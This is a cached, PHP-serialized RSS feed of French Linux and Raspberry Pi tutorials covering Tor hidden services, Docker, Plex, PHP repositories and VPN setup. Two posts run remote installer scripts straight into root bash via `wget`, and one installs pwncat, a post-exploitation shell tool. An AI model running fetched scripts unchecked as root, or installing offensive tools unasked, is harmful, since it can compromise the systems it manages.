</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">CURRENT</span><span class="p">:</span> <span class="n">Thu</span> <span class="mi">18</span> <span class="n">Mar</span> <span class="mi">08</span><span class="p">:</span><span class="mi">54</span><span class="p">:</span><span class="mi">11</span> <span class="n">UTC</span> <span class="mi">2021</span> <span class="p">(</span><span class="mi">1616057651</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">UPDATE</span><span class="p">:</span> <span class="n">Tue</span> <span class="mi">25</span> <span class="n">Jan</span> <span class="mi">14</span><span class="p">:</span><span class="mi">30</span><span class="p">:</span><span class="mi">41</span> <span class="n">UTC</span> <span class="mi">2022</span> <span class="p">(</span><span class="mi">1643121041</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">BOOTFS</span><span class="p">:</span> <span class="o">/</span><span class="n">boot</span>
</span></span></code></pre></div><p>Une fois que la mise à jour est terminée, vous pouvez redémarrer votre Raspberry Pi en utilisant cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo reboot
</span></span></code></pre></div><p>Liste complète des problèmes résolus :</p>
<ul>
<li><a class="link" href="https://github.com/raspberrypi/rpi-eeprom/blob/master/firmware/release-notes.md"  target="_blank" rel="noopener"
    >Raspberry Pi4 bootloader EEPROM release notes</a></li>
</ul>
<p>Pour modifier les paramètres par défaut de votre firmware, vous pouvez consulter la documentation en ligne sur le site de Raspberry Pi à l&rsquo;adresse suivante :</p>
<blockquote>
<p><a class="link" href="https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#raspberry-pi-4-bootloader-configuration"  target="_blank" rel="noopener"
    >https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#raspberry-pi-4-bootloader-configuration</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:95;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Comment mettre à jour tous les paquets Python avec Pip ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/mettre-a-jour-tous-les-paquets-python-avec-pip/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/mettre-a-jour-tous-les-paquets-python-avec-pip/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1487:"<img src="https://azlinux.fr/uploads/d64e1fe0b92fea4fc1ac0540912a4247.webp" alt="Featured image of post Comment mettre à jour tous les paquets Python avec Pip ?" /><p>Au fil du temps, vous avez accumulé beaucoup de paquets installés sur votre machine ; vous pouvez exécuter ces différentes commandes pour effectuer des mises à jour et vous pouvez également en profiter pour supprimer les paquets qui ne sont plus utiles.</p>
<p>Pour voir quels paquets doivent être mis à jour :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 list --outdated
</span></span></code></pre></div><p>Pour mettre à niveau tous les paquets en une seule ligne :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 list --outdated --format<span class="o">=</span>freeze <span class="p">|</span>cut -d <span class="o">=</span> -f <span class="m">1</span> <span class="p">|</span>xargs -n1 pip3 install --upgrade
</span></span></code></pre></div><p>Si vous voulez mettre à jour un seul paquet, vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install --upgrade yt-dlp
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:96;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:42:"Mettre en place un service caché avec Tor";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/mettre-en-place-un-service-cache-tor/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/mettre-en-place-un-service-cache-tor/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3418:"<img src="https://azlinux.fr/uploads/1ae5920111438e762958cd7acd4e2f6f.webp" alt="Featured image of post Mettre en place un service caché avec Tor" /><ol>
<li>Installez le paquet Nginx &amp; Tor</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y nginx tor
</span></span></code></pre></div><ol start="2">
<li>Modifier le fichier de configuration de Tor</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/tor/torrc
</span></span></code></pre></div><p>Ajoutez les lignes suivantes au fichier de configuration :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">Log</span> <span class="n">notice</span> <span class="n">file</span> <span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="nb">log</span><span class="o">/</span><span class="n">tor</span><span class="o">/</span><span class="nb">log</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">RunAsDaemon</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">DataDirectory</span> <span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">tor</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">HiddenServiceDir</span> <span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">tor</span><span class="o">/</span><span class="n">hiddenservicename</span><span class="o">/</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">HiddenServicePort</span> <span class="mi">80</span> <span class="n">unix</span><span class="p">:</span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">nginx</span><span class="o">.</span><span class="n">sock</span>
</span></span></code></pre></div><ol start="3">
<li>Affichez votre URL en .onion</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cat /var/lib/tor/hidden_service/hostname
</span></span></code></pre></div><ol start="4">
<li>Modifiez la configuration de Nginx pour faire pointer votre service caché vers l&rsquo;URL .onion que vous avez obtenue à l&rsquo;étape 3.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/nginx/sites-available/default
</span></span></code></pre></div><ol start="5">
<li>Vérifiez que Tor fonctionne</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">tail /var/log/tor/log
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:97;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:66:"Afficher une liste des commandes que vous utilisez le plus souvent";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"https://azlinux.fr/liste-des-commandes-que-vous-utilisez-le-plus-souvent/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:73:"https://azlinux.fr/liste-des-commandes-que-vous-utilisez-le-plus-souvent/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:800:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Afficher une liste des commandes que vous utilisez le plus souvent" /><p>Si vous êtes curieux de savoir quelle commande vous utilisez le plus souvent, voici un moyen simple de le découvrir et il vous montre combien de fois vous utilisez telle ou telle commande.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">history</span> <span class="p">|</span> awk <span class="s1">&#39;{print $2}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -rn <span class="p">|</span> head
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:98;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Comment exécuter une commande dans un conteneur Docker ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/executer-une-commande-dans-un-conteneur-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:66:"https://azlinux.fr/executer-une-commande-dans-un-conteneur-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1286:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post Comment exécuter une commande dans un conteneur Docker ?" /><p>Exécuter l&rsquo;image hello-world :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run hello-world
</span></span></code></pre></div><p>Affiche tous les conteneurs en cours d&rsquo;exécution :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker ps
</span></span></code></pre></div><p>Entrez dans un conteneur avec son ID :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker <span class="nb">exec</span> -it <span class="nv">$containername</span> bash
</span></span></code></pre></div><p>Entrez dans un conteneur Ubuntu :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -it ubuntu bash
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:99;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"Comment installer Fish Shell ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:40:"https://azlinux.fr/installer-fish-shell/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"https://azlinux.fr/installer-fish-shell/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1435:"<img src="https://azlinux.fr/uploads/d0699964699b704f1a3cececd9293ddb.webp" alt="Featured image of post Comment installer Fish Shell ?" /><p>Tout d&rsquo;abord, vous devez installer <code>fish</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y fish
</span></span></code></pre></div><p>Pour utiliser fish comme shell par défaut, utilisez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">chsh -s /usr/bin/fish
</span></span></code></pre></div><p>Si vous souhaitez désinstaller fish, assurez-vous d&rsquo;abord que fish n&rsquo;est pas défini comme votre shell.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">chsh -s /bin/bash
</span></span></code></pre></div><p>Une fois que vous avez vérifié que fish n&rsquo;est plus votre shell par défaut, vous pouvez le désinstaller en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt remove fish
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:100;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"Comment installer les dernières versions de PHP sur Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/installer-les-dernieres-versions-de-php-sur-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/installer-les-dernieres-versions-de-php-sur-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1692:"<img src="https://azlinux.fr/uploads/5e2db86e4e927e3334bfcab73b30655c.webp" alt="Featured image of post Comment installer les dernières versions de PHP sur Raspberry Pi ?" /><p>Exécutez la commande ci-dessous pour télécharger et enregistrer la clé :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl https://packages.sury.org/php/apt.gpg <span class="p">|</span> sudo tee /usr/share/keyrings/suryphp-archive-keyring.gpg &gt;/dev/null
</span></span></code></pre></div><p>Ajout du dépôt Sury PHP :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;deb [signed-by=/usr/share/keyrings/suryphp-archive-keyring.gpg] https://packages.sury.org/php/ </span><span class="k">$(</span>lsb_release -cs<span class="k">)</span><span class="s2"> main&#34;</span> <span class="p">|</span> sudo tee /etc/apt/sources.list.d/sury-php.list
</span></span></code></pre></div><p>Effectuer une mise à jour des dépôts :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt update
</span></span></code></pre></div><p>Après avoir fait cela, vous pouvez installer PHP :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y php8.1-cli
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:101;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Comment installer Plex Media Server sur un Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/installer-plex-media-server-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:67:"https://azlinux.fr/installer-plex-media-server-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1965:"<img src="https://azlinux.fr/uploads/06c017f88b5e829e81962ba2e0b37e70.webp" alt="Featured image of post Comment installer Plex Media Server sur un Raspberry Pi ?" /><p>Exécutez la commande ci-dessous pour télécharger et enregistrer la clé :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl https://downloads.plex.tv/plex-keys/PlexSign.key <span class="p">|</span> sudo apt-key add -
</span></span></code></pre></div><p>Ajout du dépôt Plex :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> deb https://downloads.plex.tv/repo/deb public main <span class="p">|</span> sudo tee /etc/apt/sources.list.d/plexmediaserver.list
</span></span></code></pre></div><p>Effectuer une mise à jour des dépôts :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt update
</span></span></code></pre></div><p>Et pour finir, installez Plex :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y plexmediaserver
</span></span></code></pre></div><p>Exécuter commande pour récupérer le lien de votre serveur Plex.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;http://</span><span class="k">$(</span>hostname -I <span class="p">|</span> awk <span class="s1">&#39;{print $1}&#39;</span><span class="k">)</span><span class="s2">:32400/web&#34;</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:102;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"Comment installer pwncat ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"https://azlinux.fr/installer-pwncat/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:36:"https://azlinux.fr/installer-pwncat/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:361:"<img src="https://azlinux.fr/uploads/ebf29903507e6c0653e59b3f7db91c9a.webp" alt="Featured image of post Comment installer pwncat ?" /><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo yum install python3-pwncat
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:103;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:69:"Comment installer rapidement un serveur OpenVPN sur un Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:79:"https://azlinux.fr/installer-rapidement-un-serveur-openvpn-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:79:"https://azlinux.fr/installer-rapidement-un-serveur-openvpn-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:934:"<img src="https://azlinux.fr/uploads/9a26aedbce1082ab22189828a6d9cbde.jpg" alt="Featured image of post Comment installer rapidement un serveur OpenVPN sur un Raspberry Pi ?" /><p>Exécutez le script en tant que root et suivez l&rsquo;assistant :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash &lt;<span class="o">(</span>wget -qO- https://github.com/Nyr/openvpn-install/raw/master/openvpn-install.sh<span class="o">)</span>
</span></span></code></pre></div><p>Pour désinstaller OpenVPN, exécutez à nouveau la commande et sélectionnez <code>3) Remove OpenVPN</code>.</p>
<p>Ce script est développé par Nyr et publié sur <a class="link" href="https://github.com/Nyr/openvpn-install/"  target="_blank" rel="noopener"
    >GitHub</a>. Pour soutenir le projet, vous pouvez ajouter une étoile au projet.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:104;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:71:"Comment installer rapidement un serveur WireGuard sur un Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:81:"https://azlinux.fr/installer-rapidement-un-serveur-wireguard-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:81:"https://azlinux.fr/installer-rapidement-un-serveur-wireguard-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:946:"<img src="https://azlinux.fr/uploads/20f16cccd062bcb056d409636b672ed7.jpg" alt="Featured image of post Comment installer rapidement un serveur WireGuard sur un Raspberry Pi ?" /><p>Exécutez le script en tant que root et suivez l&rsquo;assistant :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash &lt;<span class="o">(</span>wget -qO- https://github.com/Nyr/wireguard-install/raw/master/wireguard-install.sh<span class="o">)</span>
</span></span></code></pre></div><p>Pour désinstaller WireGuard, exécutez à nouveau la commande et sélectionnez <code>3) Remove WireGuard</code>.</p>
<p>Ce script est développé par Nyr et publié sur <a class="link" href="https://github.com/Nyr/wireguard-install/"  target="_blank" rel="noopener"
    >GitHub</a>. Pour soutenir le projet, vous pouvez ajouter une étoile au projet.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:105;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
